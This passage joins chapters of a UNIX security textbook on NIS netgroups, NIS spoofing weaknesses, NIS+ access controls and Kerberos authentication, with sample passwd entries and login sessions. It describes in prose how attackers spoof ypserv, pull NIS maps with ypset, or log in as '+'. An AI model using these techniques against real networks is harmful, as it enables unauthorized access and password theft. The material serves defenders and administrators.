NIS netgroups allow you to create groups for users or machines on your network. Netgroups are similar in principle to UNIX groups for users, but they are much more complicated.

The primary purpose of netgroups is to simplify your configuration files, and to give you less opportunity to make a mistake. By properly specifying and using netgroups, you can increase the security of your system by limiting the individuals and the machines that have access to critical resources.

The netgroup database is kept on the NIS master server in the file /etc/netgroup or /usr/etc/netgroup. This file consists of one or more lines that have the form:

groupname member1 member2 ...

Each member can specify a host, a user, and a NIS domain. The members have the form:

(hostname, username, domainname)

If a username is not included, then every user at the host hostname is a member of the group. If a domainname is not provided, then the current domain is assumed.[11]

[11] It is generally a dangerous practice to create netgroups with both users and hosts; doing so makes mistakes somewhat more likely.

Here are some sample netgroups:

Profs (cs,bruno,hutch) (cs,art,hutch)

This statement creates a netgroup called Profs, which is defined to be the users bruno and art on the machine cs in the domain hutch.

Servers (oreo,,) (choco,,) (blueberry,,)

This statement creates a netgroup called Servers, which matches any user on the machines oreo, choco, or blueberry.

Karen_g (,karen,)

This statement creates a netgroup called Karen_g which matches the user karen on any machine.

Universal(,,,)

This statement creates the Universal netgroup, which matches anybody on any machine.

MachinesOnly ( , - , )

This statement creates a netgroup that matches all hostnames in the current domain, but which has no user entries. In this case, the minus sign is used as a negative wildcard.

19.4.4.1 Setting up netgroups

The /etc/yp/makedbm program (sometimes found in /usr/etc/yp/makedbm) processes the netgroup file into a number of database files that are stored in the files:

/etc/yp/domainname/netgroup.dir
/etc/yp/domainname/netgroup.pag
/etc/yp/domainname/netgroup.byuser.dir
/etc/yp/domainname/netgroup.byuser.pag
/etc/yp/domainname/netgroup.byhost.dir
/etc/yp/domainname/netgroup.byhost.pag

Note that /etc/yp may be symbolically linked to /var/yp on some machines.

If you have a small organization, you might simply create two netgroups: one for all of your users, and a second for all of your client machines. These groups will simplify the creation and administration of your system's configuration files.

If you have a larger organization, you might create several groups. For example, you might create a group for each department's users. You could then have a master group that consists of all of the subgroups. Of course, you could do the same for your computers as well.

Consider the following science department:

Math (mathserve,,) (math1,,) (math2,,) (math3,,)
Chemistry (chemserve1,,) (chemserve2,,) (chem1,,) (chem2,,) (chem3,,)
Biology (bioserve1,,) (bio1,,) (bio2,,) (bio3,,)
Science Math Chemistry Biology

Netgroups are important for security because you use them to limit which users or machines on the network can access information stored on your computer. You can use netgroups in NFS files to limit who has access to the partitions, and in data files such as /etc/passwd, to limit which entries are imported into a system.

19.4.4.2 Using netgroups to limit the importing of accounts

You can use the netgroups facility to control which accounts are imported by the file /etc/passwd. For example, if you want to simply import accounts for a specific netgroup, then follow the plus sign (+) with an at sign (@) and a netgroup:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh +@operators::0:0:::

The above will bring in the NIS password map entry for the users listed in the operators group.

You can also exclude users or groups if you list the exclusions before you list the netgroups. For example:

root:si4N0jF9Q8JqE:0:1:Mr. Root:/:/bin/sh -george::120:5::: -@suspects::0:0::: +::0:0:::

The above will include all NIS password map entries except for user george and any users in the suspects netgroup.

NOTE: The +@netgroup and -@netgroup notation does not work on all versions of NIS, and does not work reliably on others. If you intend to use these features, check your system to verify that they are behaving as expected. Simply reading your documentation is not sufficient.

19.4.4.3 Limitations with NIS

NIS has been the starting point for many successful penetrations into UNIX networks. Because NIS controls user accounts, if you can convince an NIS server to broadcast that you have an account, you can use that fictitious account to break into a client on the network. NIS can also make confidential information, such as encrypted password entries, widely available.

19.4.4.4 Spoofing RPC

There are design flaws in the code of the NIS implementations of several vendors that allow a user to reconfigure and spoof the NIS system. This spoofing can be done in two ways: by spoofing the underlying RPC system, and by spoofing NIS.

The NIS system depends on the functioning of the portmap service. This is a daemon that matches supplied service names for RPC with IP port numbers at which those services can be contacted. Servers using RPC will register themselves with portmap when they start, and will remove themselves from the portmap database when they exit or reconfigure.

Early versions of portmap allowed any program to register itself as an RPC server, allowing attackers to register their own NIS servers and respond to requests with their own password files. Sun's current version of portmap rejects requests to register or delete services if they come from a remote machine, or if they refer to a privileged port and come from a connection initiated from a nonprivileged port. Thus, in Sun's current version, only the superuser can make requests that add or delete service mappings to privileged ports, and all requests can only be made locally. However, not every vendor's version of the portmap daemon performs these checks. The result is that an attacker might be able to replace critical RPC services with his own, booby-trapped versions.

Note that NFS and some NIS services often register on unprivileged ports, even in SunOS. In theory, even with the checks outlined above, an attacker could replace one of these services with a specially written program that would respond to system requests in a way that would compromise system security. This would require some in-depth understanding of the protocols and relationships of the programs, but these are well-documented and widely known.

19.4.4.5 Spoofing NIS

NIS clients get information from a NIS server through RPC calls. A local daemon, ypbind, caches contact information for the appropriate NIS server daemon, ypserv. The ypserv daemon may be local or remote.

Under early SunOS versions of the NIS service (and current versions by some vendors), it was possible to instantiate a program that acted like ypserv and responded to ypbind requests. The local ypbind daemon could then be instructed to use that program instead of the real ypserv daemon. As a result, an attacker could supply his or her own version of the password file (for instance) to a login request! (The security implications of this should be obvious.)

Current NIS implementations of ypbind have a -secure command line flag[12] that can be provided when the daemon is started. If the flag is used, the ypbind daemon will not accept any information from a ypserv server that is not running on a privileged port. Thus, a user-supplied attempt to masquerade as the ypserv daemon will be ignored. A user can't spoof ypserv unless that user already has superuser privileges. In practice, there is no good reason not to use the -secure flag.

[12] Perhaps present as simply -s.

Unfortunately, the -secure flag has a flaw. If the attacker is able to subvert the root account on a machine on the local network and start a version of ypserv using his own NIS information, he need only point the target ypbind daemon to that server. The compromised server would be running on a privileged port, so its responses would not be rejected. The ypbind process would therefore accept its information as valid, and the security could be compromised.

An attacker could also write a "fake" ypserv that runs on a PC-based system. Privileged ports have no meaning in this context, so the fake server could feed any information to the target ypbind process.

19.4.4.6 NIS is confused about "+"

A combination of installation mistakes and changes in NIS itself has caused some confusion with respect to the NIS plus sign (+) in the /etc/passwd file.

If you use NIS, be very careful that the plus sign is in the /etc/passwd file of your clients, and not your servers. On a NIS server, the plus sign can be interpreted as a username under some versions of the UNIX operating system. The simplest way to avoid this problem is to make sure that you do not have the "+" account on your NIS server.

Attempting to figure out what to put on your client machine is another matter. With early versions of NIS, the following line was distributed:

+::0:0:::		Correct on SunOS and Solaris

Unfortunately, this line presented a problem. When NIS was not running, the plus sign was sometimes taken as an account name, and anybody could log into the computer by typing + at the login: prompt. Even worse: the person logged in with superuser privileges!

One way to minimize the danger was by including a password field for the plus user. Specify the plus sign line in the form:

+:*:0:0:::		 On NIS clients only

Unfortunately, this entry actually means "import the passwd map, but change all of the encrypted passwords to * which effectively prevents everybody from logging in. This entry wasn't right either!

The easiest way to deal with this confusion is simply to attempt to log into your NIS clients and servers using a + as a username. You may also wish to try logging in with the network cable unplugged, to simulate what happens to your computer when the NIS server cannot be reached. In either case, you should not be able to log in by simply typing + as a username. This approach will tell you that your server is properly configured.

If you see the following example, you have no problem:

login: +
password: anything
Login incorrect

If you see the following example, you do have a problem:

login: +
Last login: Sat Aug 18 16:11 32 on ttya
#

NOTE: If you are running a recent version of your operating system, do not think that your system is immune to the + confusion in the NIS subsystem. In particular, some recent versions of Linux got this wrong too.

19.4.5 Unintended Disclosure of Site Information with NIS

Because NIS has relatively weak security, it can unintentionally disclose information about your site to attackers. In particular, NIS can disclose encrypted passwords, usernames, hostnames and their IP addresses, and mail aliases.

Unless you protect your NIS server with a firewall or with a modified portmap process, anyone on the outside of your system can obtain copies of the databases exported by your NIS server. To do this, all the outsider needs to do is guess the name of your NIS domain, bind to your NIS server using the ypset command, and request the databases. This can result in the disclosure of your distributed password file, and all the other information contained in your NIS databases.

There are several ways to prevent unauthorized disclosure of your NIS databases:

  1. The simplest is to protect your site with a firewall, or at least a smart router, and not allow the UDP packets associated with RPC to cross between your internal network and the outside world. Unfortunately, because RPC is based on the portmapper, the actual UDP port that is used is not fixed. In practice, the only safe strategy is to block all UDP packets except those that you specifically wish to let cross.

  2. Another approach is to use Wietse Venema's freely available portmapper program, which allows you to specify a list of computers by hostname or IP address that should be allowed or denied access to specific RPC servers.[13] See Chapter 21, Firewalls, and Chapter 22, Wrappers and Proxies, for information on how to do this.

    [13] This same functionality is built into many vendor versions, but you need to read the documentation carefully to find how to use it. It is usually turned off by default. On Sun systems, this involves editing the /var/yp/securenets file, and on HP machines it is the /etc/inetd.sec file.

  3. Some versions of NIS support the use of the /var/yp/securenets file for NIS servers. This file, when present, can be used to specify a list of networks that may receive NIS information.

  4. Don't tighten up NIS but forget about DNS! If you decide that outsiders should not be able to learn your site's IP addresses, be sure to run two nameservers, one for internal use and one for external use.

Previous: 19.3 Secure RPC (AUTH_DES) | Practical UNIX & Internet Security | Next: 19.5 Sun's NIS+
19.3 Secure RPC (AUTH_DES) | Book Index | 19.5 Sun's NIS+


[Chapter 19] 19.5 Sun's NIS+

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.4 Sun's Network Information Service (NIS) Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 19.6 Kerberos

19.5 Sun's NIS+

NIS was designed for a small, friendly computing environment. As Sun Microsystem's customers began to build networks with thousands or tens of thousands of workstations, NIS started to show its weaknesses:

  • NIS maps could only be updated by logging onto the server and editing files.

  • NIS servers could only be updated in a single batch operation. Updates could take many minutes, or even hours, to complete.

  • All information transmitted by NIS was transmitted without encryption, making it subject to eavesdropping.

  • NIS updates themselves were authenticated with AUTH_UNIX RPC authentication, making them subject to spoofing.

To respond to these complaints, Sun Microsystems started working on an NIS replacement in 1990. That system was eventually released a few years later as NIS+.

NIS+ quickly earned a bad reputation. By all accounts, the early releases were virtually untested and rarely operated as promised. Sun Microsystems sent engineers into the field to debug their software at customer sites. Eventually, Sun worked the bugs out of NIS+ and today it is a more reliable system for secure network management and control.

An excellent reference for people using NIS+ is Rick Ramsey's book, All About Administrating NIS+ (SunSoft Press, Prentice Hall, 1994).

19.5.1 What NIS+ Does

NIS+ creates network databases that are used to store information about computers and users within an organization. NIS+ calls these databases tables; they are functionally similar to NIS maps. Unlike NIS, NIS+ allows for incremental updates of the information stored on replicated database servers throughout the network.

Each NIS+ domain has one and only one NIS+ root domain server. This is a computer that contains the master copy of the information stored in the NIS+root domain. The information stored on this server can be replicated, allowing the network to remain usable even when the root server is down or unavailable. There may also be NIS+ servers for subdomains.

Entities that communicate using NIS+ are called NIS+ principals. An NIS+ principle may be a host or an authenticated user. Each NIS+ principal has a public key and a secret key, which are stored on an NIS+ server in the domain. (As this is Secure RPC, the secret key is stored encrypted.)

All communication between NIS+ servers and NIS+ principals take place through Secure RPC. This makes the communication resistant to both eavesdropping and spoofing attacks. NIS+ also oversees the creation and management of Secure RPC keys; by virtue of using NIS+, every member of the organization is enabled to use Secure RPC.

19.5.2 NIS+ Objects

All information stored on an NIS+ server is stored in the form of objects. NIS+ supports three fundamental kinds of objects:

Table objects

Store configuration information.

Group objects

Used for NIS+ authorization, NIS+ groups give you a way to collectively refer to a set of NIS+ principals (users or machines) at a single time.

Directories

Provide structure to an NIS+ server. Directories can store tables, groups, or other directories, creating a tree structure on the NIS+ server similar to the UNIX filesystem.

19.5.3 NIS+ Tables

Information stored in NIS+ tables can be retrieved using any table column as a key; NIS+ thus eliminates the need under NIS to have multiple NIS maps (such as group.bygid and group.byname). NIS+ predefines 16 tables (see Table 19.2); users are free to create additional tables of their own.

Table 19.2: NIS+ Predefined Tables
Table | Equivalent UNIX File | Stores
Hosts | /etc/hosts | IP address and hostname of every workstation in the NIS+ domain.
Bootparams | /etc/bootparams | Configuration information for diskless clients, including location of root, swap and dump partitions.
Passwd | /etc/passwd | User account information (password, full name, home directory, etc.)
Cred |  | Secure RPC credentials for users in the domain.
Group | /etc/group | Groupnames, passwords, and members of every UNIX group.
Netgroup | /etc/netgroup | Netgroups to which workstations and users belong.
Mail_Aliases | /usr/lib/aliases /etc/aliases /etc/mail/aliases | Electronic mail aliases.
Timezone | /etc/timezone | The time zone of each workstation in the domain.
Networks | /etc/networks | The networks in the domain and their canonical names.
Netmasks | /etc/inet/netmasks /etc/netmasks | The name of each network in the domain and its associated netmask.
Ethers | /etc/ethers | The Ethernet address of every workstation in the domain.
Services | /etc/services | The port number for every Internet service used in the domain.
Protocols | /etc/protocols | The IP protocols used in the domain.
RPC |  | The RPC program numbers for RPC servers in the domain.
Outcome | None | The location of home directories for users in the domain.
Auto_Mounter | None | Information for Sun's Automounter.

19.5.4 Using NIS+

For users, using an NIS+ domain can be remarkably pleasant. When a user logs in to a workstation, the /bin/login command automatically acquires the user's NIS+ security credentials and attempts to decrypt them with the user's login password.

If the account password and the NIS+ credentials password are the same (and they usually are), the NIS+ keyserv process will cache the user's secret key and the user will have transparent access to all Secure RPC services. If the account password and the NIS+ credentials password are not the same, then the user will need to manually log in to the NIS+ domain by using the keylogin command.

NIS+ users should change their passwords with the NIS+ nispasswd command, which works in much the same way as the standard UNIX passwd command.

NIS+ security is implemented by providing a means for authenticating users, and by establishing access control lists that control the ways that those authenticated users can interact with the information stored in NIS+ tables. NIS+ provides for two authentication types:

LOCAL

Authentication based on the UID of the UNIX process executing the NIS+ command. LOCAL authentication is used largely for administrating the root NIS+ server.

DES

Authentication based on Secure RPC. Users must have their public key and encrypted secret key stored in the NIS+ Cred table to use DES authentication.

Like UNIX files, each NIS+ object has an owner, which is usually the object's creator. (An object's owner can be changed with the nischown command.) NIS+ objects also have access control lists, which are used to control which principals have what kind of access to the object.

NIS+ allows four kinds of access to objects:

Read | Ability to read the contents of the object.
Modify | Ability to modify the contents of the object.
Create | Ability to create new objects within the table.
Destroy | Ability to destroy objects contained within the table.

NIS+ maintains a list of these access rights for four different kinds of principals:

Nobody | Unauthenticated requests, such as requests from individuals who do not have NIS+ credentials within this NIS+ domain.
Owner | The principal that created the object (or that was assigned ownership via the nischown command).
Group | Other principals in the object's group.
World | Other principals within the object's NIS+ domain.

The way that NIS+ commands display access rights similar to the way that the UNIX ls command displays file permissions. The key difference is that NIS+ access rights are displayed as a list of 16 characters, and the first four characters represent the rights for "nobody," rather than "owner," as shown in Figure 19.2.

Figure 19.2: NIS+ access rights are displayed as a list of 16 characters

NIS+ tables may provide additional access privileges for individual rows, columns or entries that they contain. Thus, all authenticated users may have read access to an entire table, but each user may further have the ability to modify the row of the table associated with the user's own account. Note that while individual rows, columns or entries can broaden the access control list, they cannot impose more restrictive rules.

19.5.4.1 Changing your password

Once a user has her NIS+ account set up, she should use the nispasswd command to change the password:

% nispasswd
Changing password for simsong on NIS+ server.
Old login password: fj39=3-f
New login password: fj43fadf
Re-enter new  password:
        NIS+ password information changed for simsong
        NIS+ credential information changed for simsong
%

19.5.4.2 When a user's passwords don't match

If a user has a different password stored on their workstation and on the Secure RPC server, he will see the following message when he logs in:

login: simsong
Password: fj39=3-f
Password does not decrypt secret key for unix.237@cpg.com.
Last login: Sun Nov 19 18:03:42 from sun.vineyard.net
Sun Microsystems Inc.   SunOS 5.4       Generic July 1994
%

In this case, the user has a problem because the password that the user knows and uses to log in, for some reason, does not match the password that was used to encrypt the password on the Secure RPC server. The user can't change his password with the nispasswd program, because he doesn't know his NIS password:

% nispasswd
Changing password for simsong on NIS+ server.
Old login password:
Sorry.
%

Likewise, the superuser can't run the nispasswd program for the user. The only solution is for the system administrator to become superuser and give the user a new key:

#  newkey -u simsong
Updating nisplus publickey database.
Adding new key for unix.237@cpg.com.
Enter simsong's login password: fj39=3-f
#

This procedure sets the user's Secure RPC password to be the same as their login password. Note that you must know the user's login password. If you don't, you'll get this error:

# newkey -u simsong
Updating nisplus publickey database.
Adding new key for unix.237@cpg.com.
Enter simsong's login password: nosmis
newkey: ERROR, password differs from login password.
#

After the user has a new key, he can then use the nispasswd command to change his password, as shown above.

19.5.5 NIS+ Limitations

If properly configured, NIS+ can be a very secure system for network management and authentication. However, like all security systems, it is possible to make a mistake in the configuration or management of NIS+ that would render a network that it protects somewhat less than absolutely secure.

Here are some things to be aware of:

  • Do not run NIS+ in NIS compatibility mode. NIS+ has an NIS compatibility mode that allows the NIS+ server to interoperate with NIS clients. If you run NIS+ in this mode, then any NIS server on your network (and possibly other networks as well) will have the ability to access any piece of information stored within your NIS+ server. Typically, NIS access is used by attackers to obtain a copy of your domain's encrypted password file, which is then used to probe for weaknesses.

  • Manually inspect the permissions of your NIS+ objects on a regular basis. System integrity checking software such as COPS and Tripwire does not exist (yet) for NIS+. In its absence, you must manually inspect the NIS+ tables, directories and groups on a regular basis. Be on the lookout for objects that can be modified by Nobody or by World; also be on the lookout for tables in which new objects can be created by these principal classes.

  • Secure the computers on which your NIS+ servers are running. Your NIS+ server is only as secure as the computer on which it is running. If attackers can obtain root access on your NIS+ server, they can make any change that they wish to your NIS+ domain, including creating new users, changing user passwords, and even changing your NIS+ server's master password.

  • NIS+ servers operate at one of three security levels, described in Table 19.3. Make sure that your server is operating at level 2, which is the default level.

Table 19.3: NIS+ Server Security Levels
Security Level | Description
0 | NIS+ server runs with all security options turned off. Any NIS+ principal may make any change to any NIS+ object. This level is designed for testing and initially setting up the NIS+ namespace. Security level 0 should not be present in a shipping product (but for some reason it is.) Do not use security level 0.
1 | NIS+ server runs with security turned on, but with DES authentication turned off. That is, the server will respond to any request in which LOCAL or DES authentication is specified, opening it up to a wide variety of attacks. Security level 1 is designed for testing and debugging; like security level 0, it should not be present in a shipping "security" product. Do not use it.
2 | NIS+ server runs with full security authentication and access checking enabled. Only run NIS+ servers at security level 2.

Previous: 19.4 Sun's Network Information Service (NIS) | Practical UNIX & Internet Security | Next: 19.6 Kerberos
19.4 Sun's Network Information Service (NIS) | Book Index | 19.6 Kerberos


[Chapter 19] 19.6 Kerberos

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.5 Sun's NIS+ Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 19.7 Other Network Authentication Systems

19.6 Kerberos

In 1983 the Massachusetts Institute of Technology, working with IBM and Digital Equipment Corporation, embarked on an eight-year project designed to integrate computers into the university's undergraduate curriculum. The project was called Project Athena.

Athena began operation with nearly 50 traditional time-sharing minicomputers: Digital Equipment Corporation's VAX 11/750 systems running Berkeley 4.2 UNIX. Each VAX had a few terminals; when a student or faculty member wanted to use a computer, he or she sat down at one of its terminals.

Within a few years, Athena began moving away from the 750s. The project received hundreds of high-performance workstations with big screens, fast computers, small disks, and Ethernet interfaces. The project's goal was to allow any user to sit down at any computer and enjoy full access to his files and to the network.

Of course there were problems. As soon as the workstations were deployed, the problems of network eavesdropping became painfully obvious; with the network accessible from all over campus, nothing prevented students (or outside intruders) from running network spy programs. It was nearly impossible to prevent the students from learning the superuser password of the workstations or simply rebooting them in single-user mode. To further complicate matters, many of the computers on the network were IBM PC/ATS that didn't have even rudimentary internal computer security. Something had to be done to protect student files in the networked environment to the same degree that they were protected in the time-sharing environment.

Athena's ultimate solution to this security problem was Kerberos, an authentication system that uses DES cryptography to protect sensitive information such as passwords on an open network. When the user logs in to a workstation running Kerberos, that user is issued a ticket from the Kerberos Server. The user's ticket can only be decrypted with the user's password; it contains information necessary to obtain additional tickets. From that point on, whenever the user wishes to access a network service, an appropriate ticket for that service must be presented. As all of the information in the Kerberos tickets is encrypted before it is sent over the network, the information is not susceptible to eavesdropping or misappropriation.

19.6.1 Kerberos Authentication

Kerberos authentication is based entirely on the knowledge of passwords that are stored on the Kerberos Server. Unlike UNIX passwords, which are encrypted with a one-way algorithm that cannot be reversed, Kerberos passwords are stored on the server encrypted with a conventional encryption algorithm - in this case, DES - so that they can be decrypted by the server when needed. A user proves her identity to the Kerberos Server by demonstrating knowledge of her key.

The fact that the Kerberos Server has access to the user's decrypted password is a result of the fact that Kerberos does not use public key cryptography. It is a serious disadvantage of the Kerberos system. It means that the Kerberos Server must be both physically secure and "computationally secure." The server must be physically secure to prevent an attacker from stealing the Kerberos Server and learning all of the users' passwords. The server must also be immune to login attacks: if an attacker could log onto the server and become root, that attacker could, once again, steal all of the passwords.

Kerberos was designed so that the server can be stateless.[14] The Kerberos Server simply answers requests from users and issues tickets (when appropriate). This design makes it relatively simple to create replicated, secondary servers that can handle authentication requests when the primary server is down or otherwise unavailable. Unfortunately, these secondary servers need complete copies of the entire Kerberos database, which means that they must also be physically and computationally secure.

[14] The server actually has a lot of permanent, sensitive state - the user passwords - but this is kept on the hard disk, rather than in RAM, and does not need to be updated during the course of Kerberos transactions.

19.6.1.1 Initial login

Logging into a UNIX workstation that is using Kerberos looks the same to a user as logging into a regular UNIX time-sharing computer. Sitting at the workstation, you see the traditional login: and password: prompts. You type your username and password, and if they are correct, you get logged in. Accessing files, electronic mail, printers, and other resources all work as expected.

What happens behind the scenes, however, is far more complicated, and actually differs between the two different versions of Kerberos that are commonly available: Kerberos version 4 and Kerberos version 5.

With Kerberos 4, the workstation sends a message to the Kerberos Authentication Server [15] after you type your username. This message contains your username and indicates that you are trying to log in. The Kerberos Server checks its database and, if you are a valid user, sends back a ticket granting ticket that is encrypted with your password. The workstation then asks you to type in your password and finally attempts to decrypt the encrypted ticket using the password that you've supplied. If the decryption is successful, the workstation then forgets your password, and uses the ticket granting ticket exclusively. If the decryption fails, the workstation knows that you supplied the wrong password and it gives you a chance to try again.[16]

[15] According to the Kerberos papers and documentation, there are two Kerberos Servers: the Authentication Server and the Ticket Granting Service. Some commentators think that this is disingenuous, because all Kerberos systems simply have a single server, the Kerberos Server or Key Server.

[16] Actually, the initial ticket that the Kerberos Server sends your workstation is encrypted with a 56-bit number that is derived from your password using a one-way cryptographic function.

With Kerberos 5, the workstation waits until after you have typed your password before contacting the server. It then sends the Kerberos Authentication Server a message consisting of your username and the current time encrypted with your password. The Authentication Server server looks up your username, determines your password, and attempts to decrypt the encrypted time. If the server can decrypt the current time, it then creates a ticket granting ticket, encrypts it with your password, and sends to you.[17]

[17] Why the change in protocol between Kerberos 4 and Kerberos 5? Under Kerberos 4, the objective of the designer was to minimize the amount of time that the user's password was stored on the workstation. Unfortunately, this made Kerberos 4 susceptible to offline password-guessing attacks. An attacker could simply ask a Kerberos Authentication Server for a ticket granting ticket for a particular user, then try to decrypt that ticket with every word in the dictionary. With Kerberos 5, the workstation must demonstrate to the Kerberos Authentication Server that the user knows the correct password. This is a more secure system, although the user's encrypted ticket granting ticket can still be intercepted as it is sent from the server to the workstation by an attacker and attacked with an exhaustive key search.

Figure 19.3 shows a schematic of the initial Kerberos authentication.

Figure 19.3: Initial Kerberos authentication

What is this ticket granting ticket? It is a block of data that contains two pieces of information:

  • The session key: Kses

  • A ticket for the Kerberos Ticket Granting Service, encrypted with both the session key and the Ticket Granting Service's key: EKtgsEKses{Ttgs}

The user's workstation can now contact the Kerberos Ticket Granting Service to obtain tickets for any principal within the Kerberos realm - that is, the set of servers and users who are known to the Kerberos Server.

Note that:

  • Passwords are stored on the Kerberos Server, not on the individual workstations.

  • The user's password is never transmitted on the network--encrypted or otherwise.

  • The Kerberos Authentication Server is able to authenticate the user's identity, because the user knows the user's password.

  • The user is able to authenticate the Kerberos Server's identity, because the Kerberos Authentication Server knows the user's password.

  • An eavesdropper who intercepts the ticket sent to you from the Kerberos Server will get no benefit from the message, because it is encrypted using a key (your password) that the eavesdropper doesn't know. Likewise, an eavesdropper who intercepts the ticket sent from the Kerberos Server to the Ticket Granting Service will not be able to make use of the ticket because it is encrypted with the Ticket Granting Service's password.

19.6.1.2 Using the ticket granting ticket

Once you have obtained a ticket granting ticket, you are likely to want to do something that requires the use of an authenticated service. For example, you probably want to read the files in your home directory.

Under Sun Microsystems' regular version of NFS, once a file server exports its filesystem to a workstation, the server implicitly trusts whatever the workstation wants to do. If georgeis logged into the workstation, the server lets george access the files in his home directory. But if george becomes the superuser on his workstation, changes his UID to be that of bill, and starts accessing bill's files, the vanilla NFS server has no mechanism to detect this charlatanry or take evasive action.

The scenario is very different when the NFS has been modified to use Kerberos.

When the user first tries to access his files from a Kerberos workstation, system software on the workstation contacts the Ticket Granting Service and asks for a ticket for the File Server Service. The Ticket Granting Service sends the user back a ticket for the File Server Service, This ticket contains another ticket, encrypted with the File Server Service's password, that the user's workstation can present to the File Server Service to request files. The contained ticket includes the user's authenticated name, the expiration time, and the Internet address of the user's workstation. The user's workstation then presents this ticket to the File Server Service. The File Server Service decrypts the ticket using its own password, then builds a mapping between the (UID,IP address) of the user's workstation and a UID on the file server.

As before, all of the requests and tickets exchanged between the workstation and the Ticket Granting Service are encrypted, protecting them from eavesdroppers.

Figure 19.4: Workstation/file server/TGS communication

The Ticket Granting Service was able to establish the user's identity when the user asked for a ticket for the File Service, because:

  • The user's File Service Ticket request was encrypted using the session key, Ktgs

  • The only way the user could have learned the session key was by decrypting the original Ticket Granting Ticket that the user received from the Kerberos Authentication Server.

  • To decrypt that original ticket, the user's workstation had to know the user's password. (Note again that this password was never transmitted over the network.)

The File Server Service was able to establish the user's identity because:

  • The ticket that it receives requesting service from the user is encrypted with the File Server Service's own key.

  • Inside that ticket is the IP address and username of the user.

  • The only way for that information to have gotten inside the ticket was for the Ticket Granting Service to have put it there.

  • Therefore, the Ticket Granting Service is sure of the user's identity.

  • And that's good enough for the File Server Service.

After authentication takes place, the workstation uses the network service as usual.

NOTE: Kerberos puts the time of day in the request to prevent an eavesdropper from intercepting the Request For Service request and retransmitting it from the same host at a later time. This sort of attack is called a playback or replay attack.

19.6.1.3 Authentication, data integrity, and secrecy

Kerberos is a general-purpose system for sharing secret keys between principals on the network. Normally, Kerberos is used solely for authentication. However, the ability to exchange keys can also be used to ensure data integrity and secrecy.

If eavesdropping is an ongoing concern, all information transmitted between the workstation and the service can be encrypted using a key that is exchanged between the two principals. Unfortunately, encryption carries a performance penalty. At MIT's Project Athena, encryption is used for transmitting highly sensitive information such as passwords, but is not used for most data transfer, such as files and electronic mail.

NOTE: For single-user workstations, Kerberos provides significant additional security beyond that of regular passwords. If two people are logged into the workstation at the same time, then the workstation will be authenticated for both users. These users can then pose as each other. This threat is so significant that at MIT's Project Athena, network services such as rlogind and telnetd are disabled on workstations to prevent an attacker from logging in while a legitimate user is authenticated. It is also possible for someone to subvert the local software to capture the user's password as it is typed (as with a regular system).

In early 1996, graduate students with the COAST Laboratory at Purdue University discovered a long-standing weakness in the key generation for Kerberos 4. The weakness allows an attacker to guess session keys in a matter of seconds. A patch has been widely distributed; be sure to install it if you are using Kerberos 4.

19.6.1.4 Kerberos 4 vs. Kerberos 5

Kerberos has gone through 5 major revisions during its history to date. Currently, as we've mentioned, there are two versions of Kerberos in use in the marketplace.

Kerberos 4 is more efficient than Kerberos 5, but more limited. For example, Kerberos 4 can only work over TCP/IP networks. Kerberos 4 has a large installed base, but there is increasing support for Kerberos 5.

Kerberos 5 fixes minor problems with the Kerberos protocol, making it more resistant to determined attacks over the network. Kerberos 5 is also more flexible: it can work with different kinds of networks. Kerberos 5 also has provisions for working with encryption schemes other than DES, although there are (as of this writing) no implementations that use alternative encryption algorithms.

Finally, Kerberos 5 supports delegation of authentication, ticket expirations longer than 21 hours, renewable tickets, tickets that will work sometime in the future, and many more options.

19.6.2 Kerberos vs. Secure RPC

Kerberos is an authentication system, not an RPC system. Kerberos can be used with a variety of RPC schemes: versions of Kerberos are available for Sun RPC and for the X Window System (which has its own RPC specifically designed for network window systems). But Kerberos can also be used simply for exchanging keys. For example, there is a version of the telnet command that uses Kerberos to exchange a cryptographic key. MIT also modified the NFS protocol to work with Kerberos; the modification was a simple kernel patch to the NFS server that maintained a mapping between authenticated users on discrete hosts and UIDS on the NFS server.

There are other important differences between Kerberos and Secure RPC:

  • Secure RPC passwords are based on public key cryptography, not secret key cryptography. When the user wishes to prove her identity to the NIS server, she encrypts an authenticator and sends it to the Secure RPC server, which then decrypts her authenticator using the user's widely available public key. With Kerberos, identity is provided by knowing the secret key.

  • Secure RPC stores both the user's secret key and public key on the NIS server. The secret key is encrypted with the user's password and made available to the network, but the network does not have the ability to decrypt it. Thus, with Secure RPC, there is no need for a specially secured "authentication server" to establish the identity of users on the network.

  • Secure RPC is built into Sun's RPC system. While Kerberos requires that each application be specifically tailored. Secure RPC is a transparent modification to Sun's low-level RPC that works with any RPC-based service. Any application can use it simply by requesting AUTH_DES authentication.[18]

    [18] If you are using recent versions of Sun's Solaris operating system, you can specify Kerberos authentication by requesting AUTH_KERB.

Kerberos is an add-on system that can be used with any existing network protocol. Project Athena uses Kerberos with NFS, remote login, password changing, and electronic mail. Sun Microsystems has added compatibility with Kerberos to its RPC system. Other software vendors, including the Open Software Foundation and IBM, have used the ideas pioneered by Kerberos as the basis of their own network security offerings.

19.6.3 Installing Kerberos

Installing Kerberos is a complicated process that depends on the version of Kerberos you have, the kind of computer, and the version of your computer's operating system. It's a difficult task that requires that you either have the source code for your computer system, or that you have source code for replacement programs. It is not a task to be undertaken lightly.

Fortunately, increasingly you don't have to. Kerberos or Kerberos-like security systems are now available from several companies, as well as being a standard part of several operating systems. These days, there is no reason to be running anything but secure network services.

The Kerberos source code is available for the cost of reproduction from MIT; the address and ordering information are provided in Appendix E, Electronic Resources. Alternatively, you may use FTP to transfer the files over the Internet from the computer athena-dist.mit.edu.[19]

[19] Because of export restrictions, only U.S. and Canadian citizens may do so legally.

As the changes required to your system's software are substantial and subject to change, the actual installation process will not be described here. See the documentation provided with Kerberos for details.

19.6.4 Using Kerberos

Using a workstation equipped with Kerberos is only slightly different from using an ordinary workstation. In the Project Athena environment, all of the special Kerberos housekeeping functions are performed automatically: when the user logs in, the password typed is used to acquire a Kerberos ticket, which in turn grants access to the services on the network. Additional tickets are automatically requested as they are needed. Tickets for services are automatically cached in the /tmp directory. All of a user's tickets are automatically destroyed when the user logs out.

